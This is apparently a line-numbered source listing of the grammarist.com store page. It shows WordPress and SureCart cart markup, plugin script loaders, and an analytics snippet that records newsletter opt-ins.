1984{"imports":{"@surecart/checkout":"https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/scripts/checkout/index.js?ver=fa99df98c6fd7c7e52b9","@surecart/checkout-events":"https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/scripts/checkout-events/index.js?ver=ed9647bd6c7865efe2ad","@wordpress/interactivity":"https://grammarist.com/wp-includes/js/dist/script-modules/interactivity/index.min.js?ver=efaa5193bbad9c60ffd1","@surecart/checkout-service":"https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/scripts/checkout-actions/index.js?ver=b52e40ae51c69dd18a5f","@surecart/google-events":"https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/scripts/google/index.js?ver=d92e383a18bcf54ea538","@surecart/facebook-events":"https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/scripts/facebook/index.js?ver=c125b4294a423b52c997","@wordpress/a11y":"https://grammarist.com/wp-includes/js/dist/script-modules/a11y/index.min.js?ver=f62f48906198ea8abc60","@wordpress/interactivity-router":"https://grammarist.com/wp-includes/js/dist/script-modules/interactivity-router/index.min.js?ver=a6e90b8896f83fb1b5dd","@surecart/api-fetch":"https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/scripts/fetch/index.js?ver=4e529b0474ba92ae5500"}}
1985</script>
vendor: 1 bytes, line 1985
1985
1986<script type="text/rocketlazyloadscript" id="@surecart/checkout-js-module" data-rocket-src="https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/scripts/checkout/index.js?ver=fa99df98c6fd7c7e52b9" data-rocket-type="module"></script>
vendor: 1 bytes, line 1986
1986
1987<script type="text/rocketlazyloadscript" id="@surecart/cart-js-module" data-rocket-src="https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/scripts/cart/index.js?ver=c2f35b71b4309df849fe" data-rocket-type="module"></script>
vendor: 1 bytes, line 1987
1987
1988<script type="text/rocketlazyloadscript" id="@surecart/dropdown-js-module" data-rocket-src="https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/scripts/dropdown/index.js?ver=ff73f22e52ec028e47a1" data-rocket-type="module"></script>
vendor: 1 bytes, line 1988
1988
1989<script type="text/rocketlazyloadscript" id="@surecart/product-list-js-module" data-rocket-src="https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/scripts/product-list/index.js?ver=afef1631b65bb6dd60fe" data-rocket-type="module"></script>
vendor: 1 bytes, line 1989
1989
1990<script type="text/rocketlazyloadscript" id="@surecart/product-page-js-module" data-rocket-src="https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/scripts/product-page/index.js?ver=2642ba19365b12dba7ca" data-rocket-type="module"></script>
vendor: 1 bytes, line 1990
1990
1991<script id="wp-script-module-data-@wordpress/interactivity" type="application/json">
1992{"state":{"surecart/checkout":{"checkout":{"line_items":{"data":[]}},"discountIsRedeemable":false,"isDiscountApplied":false,"hasDiscountAmount":false,"hasSubtotalScratchAmount":false,"itemsCount":0,"hasItems":false},"surecart/product-page":{"quantity":1,"selectedDisplayAmount":"$147","isOnSale":{},"selectedAmount":{},"busy":false,"shouldDisplayImage":{},"adHocAmount":0,"selectedVariant":[],"isOptionUnavailable":{},"isOptionValueSelected":{},"imageDisplay":{},"isSoldOut":{},"isUnavailable":{},"isBundleIncomplete":{},"isOptionSelected":{},"isPriceSelected":{},"buttonText":{}},"surecart/product-list":{"loading":false,"searching":false},"core/router":{"url":"https://grammarist.com/store/"}},"derivedStateClosures":{"surecart/product-page":["state.isOnSale"]}}
1993</script>
vendor: 1 bytes, line 1993
1993
1994<script id="wp-script-module-data-@wordpress/interactivity-router" type="application/json">
1995{"i18n":{"loading":"Loading page, please wait.","loaded":"Page Loaded."}}
1996</script>
1996
1997				
1997<script type="text/rocketlazyloadscript">
1998					window.scFetchData =
1999					{"root_url":"https:\/\/grammarist.com\/wp-json\/","nonce":"625323a4ee","nonce_endpoint":"https:\/\/grammarist.com\/wp-admin\/admin-ajax.php?action=sc-rest-nonce"}				</script>
1999
2000				
2000<script type="text/rocketlazyloadscript">
2001document.addEventListener("click", function(event) {
2002  // Log the event to the console
2003  console.log(event);
2004});
2005document.addEventListener("om.Analytics.track", function (event) {
2006  let eventDetails = event?.detail;
2007
2008  if (!eventDetails) {
2009    console.log("OM - No event details.", event);
2010    return;
2011  }
2012
2013  let analyticsDetails = eventDetails?.Analytics;
2014  let campaignDetails = eventDetails?.Campaign;
2015  let fields = eventDetails?.Optin?.data?.fields;
2016  // console.log(
2017  //   "OM - analyticsDetails",
2018  //   analyticsDetails,
2019  //   "campaignDetails",
2020  //   campaignDetails,
2021  //   "Optin",
2022  //   eventDetails?.Optin,
2023  //   "fields",
2024  //   fields,
2025  // );
2026
2027  if ("conversion" === analyticsDetails.type) {
2028    // console.log(
2029    //   campaignDetails?.id +
2030    //     "-" +
2031    //     campaignDetails?.type +
2032    //     "-" +
2033    //     campaignDetails?.name +
2034    //     " successfully tracked a conversion.",
2035    // );
2036    let omFirstNameEl = document.getElementById("om_firstName");
2037    let omEmailEl = document.getElementById("om_email");
2038    // console.log("OM - omFirstNameEl", omFirstNameEl, "omEmailEl", omEmailEl);
2039
2040    if (!omFirstNameEl && !omEmailEl && !fields) {
2041      console.log("OM - Couldn't locate opt-in data.");
2042      return;
2043    }
2044
2045    let omFirstName = fields?.name || omFirstNameEl?.value;
2046    let omEmail = fields?.email || omEmailEl?.value;
2047    _kmq.push(["identify", omEmail]);
2048    _kmq.push([
2049      "record",
2050      "optinmonster",
2051      {
2052        first_name: omFirstName,
2053        email: omEmail,
2054        campaign_id: campaignDetails?.id,
2055        campaign_name: campaignDetails?.name,
2056				url: window.location.href,
2057				referrer: document.referrer,
2058      },
2059    ]);
2060    // console.log("OM - KM event logged.", omFirstName, omEmail, campaignDetails?.name);
2061  } else {
2062    // console.log(
2063    //   campaignDetails?.id +
2064    //     "-" +
2065    //     campaignDetails?.type +
2066    //     "-" +
2067    //     campaignDetails?.name +
2068    //     " successfully tracked an impression.",
2069    // );
2070  }
2071});
2072
2073document.addEventListener("DOMContentLoaded", function() {
2074    document.querySelectorAll('img').forEach(function(img) {
2075        img.removeAttribute('title');
2076    });
2077})
2078</script>
2078<script>
2079adthrive.cmd.push(function () {
2080    // Disable if the URL matches any of the patterns (Uses Regular Expressions)
2081    adthrive.disableAds([
2082        'grammarist\.com\/buy.*'
2083    ]);
2084});
2085</script>
2085<noscript><img height="1" width="1" style="display: none;" src="https://www.facebook.com/tr?id=1141131243559645&ev=PageView&noscript=1&cd%5Bpage_title%5D=Shop&cd%5Bpost_type%5D=page&cd%5Bpost_id%5D=108520&cd%5Bplugin%5D=PixelYourSite&cd%5Buser_role%5D=guest&cd%5Bevent_url%5D=grammarist.com%2Fstore%2F" alt=""></noscript>
2086<!-- Render the cart. --> <div data-wp-context='{"formId":108516,"mode":"live"}' data-wp-interactive='{ "namespace": "surecart/checkout" }' data-wp-init="callbacks.init" data-wp-watch="callbacks.onChangeCheckout" data-wp-on-window--storage="callbacks.syncTabs" class="sc-cart-wrapper is-layout-flow wp-block-surecart-slide-out-cart-is-layout-flow" > <div style="width: 525px" class="sc-drawer sc-cart-drawer wp-block-surecart-slide-out-cart" role="dialog" data-wp-bind--aria-label="surecart/cart::state.ariaLabel" data-wp-class--open="surecart/cart::state.open" data-wp-on--keydown="surecart/cart::actions.handleKeydown" > <!-- Cart alert --> <div class="sc-alert sc-alert__alert--danger" role="alert" aria-live="assertive" aria-atomic="true" data-wp-bind--hidden="!state.error" hidden > <div class="sc-alert__icon"> <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewbox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> <circle cx="12" cy="12" r="10" /> <line x1="12" y1="8" x2="12" y2="12" /> <line x1="12" y1="16" x2="12.01" y2="16" /> </svg> </div> <div class="sc-alert__text"> <div class="sc-alert__title"> <span data-wp-text="state.errorTitle"></span> </div> <div class="sc-alert__message"> <div data-wp-text="state.errorMessage"></div> <template data-wp-each--message="state.additionalErrors"> <div> <span data-wp-text="context.message"></span> </div> </template> </div> </div> </div> <div  style="border-bottom: var(--sc-drawer-border);padding-top: 1.25em;padding-bottom: 1.25em;padding-left: 1.25em;padding-right: 1.25em;color: var(--sc-line-item-title-color, var(--sc-input-label-color))" class="wp-block-surecart-slide-out-cart-header"> <div class="wp-block-surecart-slide-out-cart-header__close" data-wp-on--click="surecart/cart::actions.toggle" role="button" tabindex="0" aria-label="Close cart" > <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewbox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> <line x1="5" y1="12" x2="19" y2="12" /> <polyline points="12 5 19 12 12 19" /> </svg> </div> <span class="wp-block-surecart-slide-out-cart-header__title" inert> Review Your Cart </span> <div class="sc-tag sc-tag--default"> <span data-wp-text="state.itemsCount">0</span> </div> </div> <div class="wp-block-surecart-cart-items__wrapper" style="border-bottom: var(--sc-drawer-border);padding-top: 1.25em;padding-bottom: 1.25em;padding-left: 1.25em;padding-right: 1.25em;color: var(--sc-line-item-title-color, var(--sc-input-label-color))" class="wp-block-surecart-slide-out-cart-items" role="list" > <template data-wp-each--line_item="state.cartLineItems" data-wp-each-key="context.line_item.id" > <div class="sc-product-line-item" role="listitem"> <div class="sc-product-line-item__item"> <img class="sc-product-line-item__image" data-wp-bind--hidden="!context.line_item.image.src" data-wp-bind--src="context.line_item.image.src" data-wp-bind--alt="context.line_item.image.alt" data-wp-bind--srcset="context.line_item.image.srcset" data-wp-bind--sizes="context.line_item.image.sizes"  alt="" /> <div class="sc-product-line-item__text"> <div class="sc-product-line-item__text-details"> <a data-wp-bind--href="state.lineItemPermalink" class="sc-product-line-item__title" data-wp-bind--tabindex="state.lineItemPermalink ? '0' : '-1'"> <span data-wp-text="context.line_item.price.product.name"></span> </a> <div class="sc-product-line-item__description sc-product-line-item__price-variant"> <div data-wp-text="state.lineItemVariant"></div> <div data-wp-text="context.line_item.price.name"></div> </div> <div class="sc-input-group sc-input-group-sm sc-quantity-selector" data-wp-class--quantity--disabled="state.isQuantityDisabled" data-wp-bind--hidden="!state.isEditable" hidden > <div class="sc-input-group-text sc-quantity-selector__decrease" role="button" tabindex="0" data-wp-on--click="surecart/checkout::actions.onQuantityDecrease" data-wp-on--keydown="surecart/checkout::actions.onQuantityDecrease" data-wp-bind--disabled="state.isQuantityDecreaseDisabled" data-wp-bind--aria-disabled="state.isQuantityDecreaseDisabled" data-wp-class--button--disabled="state.isQuantityDecreaseDisabled" data-wp-bind--aria-label="surecart/checkout::state.decreaseQuantityAriaLabel" > <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewbox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> <line x1="5" y1="12" x2="19" y2="12" /> </svg> </div> <input type="number" class="sc-form-control sc-quantity-selector__control" data-wp-bind--value="context.line_item.quantity" data-wp-on--change="surecart/checkout::actions.onQuantityChange" data-wp-bind--min="context.line_item.min" data-wp-bind--aria-valuemin="context.line_item.min" data-wp-bind--max="context.line_item.max" data-wp-bind--aria-valuemax="context.line_item.max" data-wp-bind--aria-valuenow="context.line_item.quantity" data-wp-bind--disabled="surecart/checkout::state.loading" data-wp-bind--aria-label="surecart/checkout::state.quantityInputAriaLabel" step="1" autocomplete="off" role="spinbutton" /> <div class="sc-input-group-text sc-quantity-selector__increase" role="button" tabindex="0" data-wp-on--click="surecart/checkout::actions.onQuantityIncrease" data-wp-on--keydown="surecart/checkout::actions.onQuantityIncrease" data-wp-bind--disabled="state.isQuantityIncreaseDisabled" data-wp-bind--aria-disabled="state.isQuantityIncreaseDisabled" data-wp-class--button--disabled="state.isQuantityIncreaseDisabled" data-wp-bind--aria-label="surecart/checkout::state.increaseQuantityAriaLabel" > <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewbox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> <line x1="12" y1="5" x2="12" y2="19" /> <line x1="5" y1="12" x2="19" y2="12" /> </svg> </div> </div> <!-- Bundle components (nested items) --> <div class="sc-bundle-components" data-wp-bind--hidden="!state.isBundleParent" hidden > <div class="sc-bundle-components__label"> <span data-wp-text="state.bundleComponentsLabel"></span> </div> <template data-wp-each--component="state.bundleComponents" data-wp-each-key="context.component.id" > <div class="sc-bundle-components__item"> <img class="sc-bundle-components__item-image" data-wp-bind--hidden="!context.component.image.src" data-wp-bind--src="c
2086ontext.component.image.src" data-wp-bind--alt="context.component.price.product.name"  alt="" /> <span class="sc-bundle-components__item-name" data-wp-text="context.component.price.product.name"></span> </div> </template> </div> </div> </div> <div class="sc-product-line-item__suffix"> <button class="sc-product-line-item__remove-button" data-wp-bind--aria-label="surecart/checkout::state.removeItemAriaLabel" data-wp-on--click="surecart/checkout::actions.removeLineItem" data-wp-on--keydown="surecart/checkout::actions.removeLineItem" > <svg class="sc-product-line-item__remove" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewbox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> <line x1="18" y1="6" x2="6" y2="18" /> <line x1="6" y1="6" x2="18" y2="18" /> </svg> </button> <div class="sc-product-line-item__price"> <div class="sc-product-line-item__price-amount"> <span> <span data-wp-bind--hidden="!state.lineItemHasScratchAmount" data-wp-text="context.line_item.price.scratchAmount" ></span> <span data-wp-text="context.line_item.subtotal_display_amount"></span> </span> <span class="sc-product-line-item__price-description" data-wp-bind--hidden="!context.line_item.price.short_interval_text" data-wp-text="context.line_item.price.short_interval_text" ></span> <span class="sc-product-line-item__price-description" data-wp-bind--hidden="!context.line_item.price.short_interval_count_text" data-wp-text="context.line_item.price.short_interval_count_text" ></span> </div> <div class="sc-product-line-item__trial sc-product-line-item__price-description" data-wp-bind--hidden="!context.line_item.price.trial_text" data-wp-text="context.line_item.price.trial_text" ></div> <div class="sc-product-line-item__setup-fee sc-product-line-item__price-description" data-wp-bind--hidden="!context.line_item.price.setup_fee_text" data-wp-text="context.line_item.price.setup_fee_text" ></div> <div class="sc-product-line-item__purchasable-status sc-product-line-item__price-description" data-wp-text="context.line_item.purchasable_status_display" data-wp-bind--hidden="!context.line_item.purchasable_status_display" role="status" aria-live="polite" aria-atomic="true">&nbsp;</div> </div> </div> </div> </div> </template> </div> <div style="border-bottom: var(--sc-drawer-border);padding-top: 1.25em;padding-bottom: 1.25em;padding-left: 1.25em;padding-right: 1.25em;color: var(--sc-line-item-title-color, var(--sc-input-label-color))" class="wp-block-surecart-slide-out-cart-coupon" data-wp-context='{"discountInputOpen":false}' data-wp-on-document--click="surecart/checkout::actions.closeCouponOnClickOutside" > <!-- Discount applied Applied coupon UI --> <div class="sc-line-item__item sc-coupon-form" data-wp-bind--hidden="!state.isDiscountApplied" hidden > <div class="sc-line-item__text"> <div class="sc-line-item__description"> Discount <div class="sc-tag sc-tag--warning" data-wp-class--sc-tag--success="state.discountIsRedeemable" data-wp-class--sc-tag--warning="!state.discountIsRedeemable" > <span data-wp-text="state.checkout.discount.promotion.code"></span> <button data-wp-on--click="actions.removeDiscount" id="sc-coupon-remove-discount" title="Delete discount" > <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewbox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> <line x1="18" y1="6" x2="6" y2="18" /> <line x1="6" y1="6" x2="18" y2="18" /> </svg> </button> </div> </div> </div> <div class="sc-line-item__end"> <div class="sc-line-item__price-text"> <!-- redeemable UI --> <div hidden class="sc-line-item__price-description" data-wp-bind--hidden="!state.discountIsRedeemable"> <span class="coupon-human-discount" data-wp-text="state.checkout.human_discount_with_duration" ></span> </div> <div hidden class="sc-line-item__price" data-wp-bind--hidden="!state.discountIsRedeemable" data-wp-text="state.checkout.discount_display_amount"></div> <!-- non-redeemable UI --> <div class="sc-line-item__price-description" data-wp-bind--hidden="state.discountIsRedeemable"> <div class="sc-coupon__status"> <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewbox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> <path d="M10.29 3.86L1.82 18a2 2 0 0 0 1.71 3h16.94a2 2 0 0 0 1.71-3L13.71 3.86a2 2 0 0 0-3.42 0z" /> <line x1="12" y1="9" x2="12" y2="13" />
2086 <line x1="12" y1="17" x2="12.01" y2="17" /> </svg> <span data-wp-text="state.checkout.discount.redeemable_display_status"></span> </div> </div> </div> </div> </div> <!-- Discount Button and Form UI --> <div class="sc-coupon-form" data-wp-bind--hidden="state.isDiscountApplied" > <div> <div data-wp-bind--hidden="context.discountInputOpen" class="trigger" data-wp-on--click="surecart/checkout::actions.toggleDiscountInput" data-wp-on--keydown="surecart/checkout::actions.toggleDiscountInput" aria-role="button" tabindex="0" id="sc-coupon-trigger" > Add Coupon Code </div> <form> <div data-wp-bind--hidden="!context.discountInputOpen" hidden class="sc-input-group sc-coupon-form__input-group" > <input type="text" id="coupon" class="sc-form-control sc-coupon-form__input" aria-label="Coupon code" aria-describedby="coupon-input-addon" placeholder="Enter coupon code" data-wp-bind--value="state.promotionCode" data-wp-on--keydown="surecart/checkout::actions.maybeApplyDiscountOnKeyChange" data-wp-on--keyup="surecart/checkout::actions.maybeApplyDiscountOnKeyChange" > <span class="sc-input-group-text" id="coupon-input-addon"> <button hidden type="submit" data-wp-bind--hidden="!state.promotionCode" data-wp-on--click="actions.applyDiscount" > Apply </button> </span> </div> </form> </div> </div> </div> <div  style="border-bottom: var(--sc-drawer-border);padding-top: 1.25em;padding-bottom: 1.25em;padding-left: 1.25em;padding-right: 1.25em;color: var(--sc-line-item-title-color, var(--sc-input-label-color))" class="wp-block-surecart-slide-out-cart-subtotal"> <div class="sc-product-line-item"> <div class="sc-product-line-item__item"> <div class="sc-product-line-item__text"> <div class="sc-product-line-item__text-details"> <div class="sc-product-line-item__title"> <span> Subtotal </span> </div> </div> </div> <div class="sc-product-line-item__suffix"> <div class="sc-product-line-item__price"> <div class="price"> <span data-wp-text="state.checkout.subtotal_display_amount" data-wp-bind--hidden="state.isDiscountApplied"></span> <span hidden data-wp-text="state.checkout.total_display_amount" data-wp-bind--hidden="!state.isDiscountApplied"></span> </div> </div> </div> </div> </div> <div hidden class="sc-product-line-item" data-wp-bind--hidden="!state.checkout.is_installment" > <div class="sc-product-line-item__item"> <div class="sc-product-line-item__text"> <div class="sc-product-line-item__text-details"> <div class="sc-product-line-item__description"> Total Installments <span data-wp-bind--hidden="!state.hasDiscountAmount" hidden> (before discounts) </span> </div> </div> </div> <div class="sc-product-line-item__suffix"> <div class="sc-product-line-item__price"> <div class="price"> <span data-wp-text="state.checkout.full_display_amount"></span> </div> </div> </div> </div> </div> </div> <div style="border-bottom: var(--sc-drawer-border);padding-top: 1.25em;padding-bottom: 1.25em;padding-left: 1.25em;padding-right: 1.25em;color: var(--sc-line-item-title-color, var(--sc-input-label-color))" class="wp-block-surecart-slide-out-cart-bump-line-item" data-wp-bind--hidden="!state.checkout.bump_amount" hidden > <div class="sc-product-line-item"> <div class="sc-product-line-item__item"> <div class="sc-product-line-item__text"> <div class="sc-product-line-item__text-details"> <div class="sc-bump-line-item__description"> <span> Bundle Discount </span> </div> </div> </div> <div class="sc-product-line-item__suffix"> <div class="sc-bump-line-item__price"> <div class="price"> <span data-wp-text="state.checkout.bump_display_amount"></span> </div> </div> </div> </div> </div> </div> <div class="sc-cart-submit__wrapper wp-block-buttons" style="padding:1.25em 1.25em 1.25em 1.25em;" > <div class="wp-block-button"> <a class="wp-block-button__link wp-element-button sc-button__link wp-block-surecart-slide-out-cart-submit" href="https://grammarist.com/checkout/" class="wp-block-button__link wp-element-button sc-button__link" data-wp-bind--disabled="state.loading" data-wp-class--sc-button__link--busy="state.loading" > <span class="sc-spinner" aria-hidden="false"></span> <span class="sc-button__link-text">Checkout</span> </a> </div> </div> <div class="sc-block-ui" data-wp-bind--hidden="!state.loading" hidden></div> </div> <!-- backdrop --> <div  class="sc-drawer__backdrop" data-wp-on--mousedown="surecart/cart::actions.closeOverlay" data-wp-on--touchstart="surecart/cart::actions.closeOverlay" data-wp-class--show="surecart/cart::state.o
2086pen" data-wp-on--keydown="surecart/cart::actions.handleKeydown"></div> </div> <!-- Render floating cart icon --> <div data-wp-interactive='{ "namespace": "surecart/checkout" }' class="wp-block-surecart-cart-icon" data-wp-context='{"formId":108516,"mode":"live"}' data-wp-on--click="surecart/cart::actions.toggle" data-wp-on--keydown="surecart/cart::actions.toggle" tabindex="0" role="button" data-wp-bind--hidden="!state.hasItems" hidden > <div  class="wp-block-surecart-cart-icon__container"> <div  class="wp-block-surecart-cart-icon__icon" aria-label="Cart Button."> <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewbox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> <circle cx="9" cy="21" r="1" /> <circle cx="20" cy="21" r="1" /> <path d="M1 1h4l2.68 13.39a2 2 0 0 0 2 1.61h9.72a2 2 0 0 0 2-1.61L23 6H6" /> </svg> </div> <span class="wp-block-surecart-cart-icon__count" data-wp-text="state.itemsCount" data-wp-bind--aria-label="state.itemsCountAriaLabel" >0</span> </div> </div>			<div
2087				class="wp-interactivity-router-loading-bar"
2088				data-wp-interactive="core/router/private"
2089				data-wp-class--start-animation="state.navigation.hasStarted"
2090				data-wp-class--finish-animation="state.navigation.hasFinished"
2091			></div>
2091<script id="wp-url-js" src="https://grammarist.com/wp-includes/js/dist/url.min.js?ver=7b0de086d4ae11d55704"></script>
vendor: 1 bytes, line 2091
2091
2092<script id="wp-hooks-js" src="https://grammarist.com/wp-includes/js/dist/hooks.min.js?ver=f0f188028580e8dc1255"></script>
vendor: 1 bytes, line 2092
2092
2093<script id="wp-i18n-js" src="https://grammarist.com/wp-includes/js/dist/i18n.min.js?ver=1dfe7db3940c23ea9216"></script>
vendor: 1 bytes, line 2093
2093
2094<script type="text/rocketlazyloadscript" id="wp-i18n-js-after">
2095wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } );
2096//# sourceURL=wp-i18n-js-after
2097</script>
vendor: 1 bytes, line 2097
2097
2098<script type="text/rocketlazyloadscript" id="wp-private-apis-js" data-rocket-src="https://grammarist.com/wp-includes/js/dist/private-apis.min.js?ver=eb85f28c4c729bb4f002"></script>
vendor: 1 bytes, line 2098
2098
2099<script id="wp-api-fetch-js" src="https://grammarist.com/wp-includes/js/dist/api-fetch.min.js?ver=6f2a4faeee3c722b1e57"></script>
vendor: 1 bytes, line 2099
2099
2100<script type="text/rocketlazyloadscript" id="wp-api-fetch-js-after">
2101wp.apiFetch.use( wp.apiFetch.createRootURLMiddleware( "https://grammarist.com/wp-json/" ) );
2102wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware( "625323a4ee" );
2103wp.apiFetch.use( wp.apiFetch.nonceMiddleware );
2104wp.apiFetch.use( wp.apiFetch.mediaUploadMiddleware );
2105wp.apiFetch.nonceEndpoint = "https://grammarist.com/wp-admin/admin-ajax.php?action=rest-nonce";
2106//# sourceURL=wp-api-fetch-js-after
2107</script>
vendor: 1 bytes, line 2107
2107
2108<script id="wp-dom-ready-js" src="https://grammarist.com/wp-includes/js/dist/dom-ready.min.js?ver=3fe927cab37bf38d6a23"></script>
vendor: 1 bytes, line 2108
2108
2109<script id="wp-a11y-js" src="https://grammarist.com/wp-includes/js/dist/a11y.min.js?ver=31c6cec5a4ff7aff483d"></script>
vendor: 1 bytes, line 2109
2109
2110<script id="generate-offside-js-extra">
2111var offSide = {"side":"right"};
2112//# sourceURL=generate-offside-js-extra
2113</script>
vendor: 1 bytes, line 2113
2113
2114<script type="text/rocketlazyloadscript" id="generate-offside-js" data-rocket-src="https://grammarist.com/wp-content/plugins/gp-premium/menu-plus/functions/js/offside.min.js?ver=2.5.6"></script>
vendor: 1 bytes, line 2114
2114
2115<script id="convertkit-js-js-extra">
2116var convertkit_broadcasts = {"ajax_url":"https://grammarist.com/wp-json/kit/v1/broadcasts","debug":""};
2117var convertkit = {"debug":"","subscriber_id":"0"};
2118//# sourceURL=convertkit-js-js-extra
2119</script>
vendor: 1 bytes, line 2119
2119
2120<script type="text/rocketlazyloadscript" id="convertkit-js-js" data-rocket-src="https://grammarist.com/wp-content/plugins/convertkit/resources/frontend/js/dist/frontend.min.js?ver=3.4.3"></script>
vendor: 1 bytes, line 2120
2120
2121<script type="text/rocketlazyloadscript" id="dpsp-frontend-js-pro-js-before">
2122		var dpsp_pin_button_data = {"pin_description_source":"post_pinterest_description","pinterest_pinnable_images":"post_images","pinterest_button_share_behavior":"post_image","post_pinterest_image_hidden":"yes","post_multiple_hidden_pinterest_images":"yes","button_position":"top_left","button_shape":"rectangular","minimum_image_width":"","minimum_image_height":"","show_button_text_label":"yes","button_text_label":"Save","show_image_overlay":"yes","button_share_behavior":"post_image","post_type_display":["post","page"]}
2123	
2124//# sourceURL=dpsp-frontend-js-pro-js-before
2125</script>
vendor: 1 bytes, line 2125
2125
2126<script type="text/rocketlazyloadscript" data-minify="1" id="dpsp-frontend-js-pro-js" async data-noptimize data-rocket-src="https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/social-pug/assets/dist/front-end-pro.js?ver=1789058374"></script>
vendor: 1 bytes, line 2126
2126
2127<script id="st-trigger-button-script-js-extra">
2128var st_ajax_object = {"ajax_url":"https://grammarist.com/wp-admin/admin-ajax.php"};
2129//# sourceURL=st-trigger-button-script-js-extra
2130</script>
vendor: 1 bytes, line 2130
2130
2131<script type="text/rocketlazyloadscript" data-minify="1" id="st-trigger-button-script-js" data-rocket-src="https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/suretriggers/assets/js/st-trigger-button.js?ver=1789058374"></script>
vendor: 1 bytes, line 2131
2131
2132<script id="ta_main_js-js-extra">
2133var thirsty_global_vars = {"home_url":"//grammarist.com","ajax_url":"https://grammarist.com/wp-admin/admin-ajax.php","link_fixer_enabled":"yes","link_prefix":"recommends","link_prefixes":{"2":"recommends"},"post_id":"108520","enable_record_stats":"yes","enable_js_redirect":"yes","disable_thirstylink_class":""};
2134//# sourceURL=ta_main_js-js-extra
2135</script>
vendor: 1 bytes, line 2135
2135
2136<script type="text/rocketlazyloadscript" id="ta_main_js-js" data-rocket-src="https://grammarist.com/wp-content/plugins/thirstyaffiliates/js/app/ta.min.js?ver=3.12.0"></script>
vendor: 1 bytes, line 2136
2136
2137<script type="text/rocketlazyloadscript" data-minify="1" id="learndash-course-grid-skin-grid-js" data-rocket-src="https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/sfwd-lms/includes/course-grid/templates/skins/grid/script.js?ver=1789058374"></script>
vendor: 1 bytes, line 2137
2137
2138<script id="learndash-js-extra">
2139var LearnDash_Course_Grid = {"ajaxurl":"https://grammarist.com/wp-admin/admin-ajax.php","nonce":{"load_posts":"b578f06876"}};
2140//# sourceURL=learndash-js-extra
2141</script>
vendor: 1 bytes, line 2141
2141
2142<script type="text/rocketlazyloadscript" data-minify="1" id="learndash-js" data-rocket-src="https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/sfwd-lms/includes/course-grid/assets/js/script.js?ver=1789058374"></script>
vendor: 1 bytes, line 2142
2142
2143<script id="dlm-xhr-js-extra">
2144var dlmXHRtranslations = {"error":"An error occurred while trying to download the file. Please try again.","not_found":"Download does not exist.","no_file_path":"No file path defined.","no_file_paths":"No file paths defined.","filetype":"Download is not allowed for this file type.","file_access_denied":"Access denied to this file.","access_denied":"Access denied. You do not have permission to download this file.","security_error":"Something is wrong with the file path.","file_not_found":"File not found."};
2145//# sourceURL=dlm-xhr-js-extra
2146</script>
vendor: 1 bytes, line 2146
2146
2147<script type="text/rocketlazyloadscript" id="dlm-xhr-js-before">
2148const dlmXHR = {"xhr_links":{"class":["download-link","download-button"]},"prevent_duplicates":true,"ajaxUrl":"https:\/\/grammarist.com\/wp-admin\/admin-ajax.php"}; dlmXHRinstance = {}; const dlmXHRGlobalLinks = "https://grammarist.com/download/"; const dlmNonXHRGlobalLinks = []; dlmXHRgif = "https://grammarist.com/wp-includes/images/spinner.gif"; const dlmXHRProgress = "1"
2149//# sourceURL=dlm-xhr-js-before
2150</script>
vendor: 1 bytes, line 2150
2150
2151<script type="text/rocketlazyloadscript" id="dlm-xhr-js" data-rocket-src="https://grammarist.com/wp-content/plugins/download-monitor/assets/js/dlm-xhr.min.js?ver=5.2.9"></script>
vendor: 1 bytes, line 2151
2151
2152<script type="text/rocketlazyloadscript" id="dlm-xhr-js-after">
2153document.addEventListener("dlm-xhr-modal-data", function(event) { if ("undefined" !== typeof event.detail.headers["x-dlm-tc-required"]) { event.detail.data["action"] = "dlm_terms_conditions_modal"; event.detail.data["dlm_modal_response"] = "true"; }});
2154document.addEventListener("dlm-xhr-modal-data", function(event) {if ("undefined" !== typeof event.detail.headers["x-dlm-members-locked"]) {event.detail.data["action"] = "dlm_members_conditions_modal";event.detail.data["dlm_modal_response"] = "true";event.detail.data["dlm_members_form_redirect"] = "https://grammarist.com/store/";}});
2155//# sourceURL=dlm-xhr-js-after
2156</script>
vendor: 1 bytes, line 2156
2156
2157<script id="uagb-loop-builder-js-extra">
2158var uagb_loop_builder = {"ajax_url":"https://grammarist.com/wp-admin/admin-ajax.php","post_id":"108520","nonce":"a285abc1df"};
2159//# sourceURL=uagb-loop-builder-js-extra
2160</script>
vendor: 1 bytes, line 2160
2160
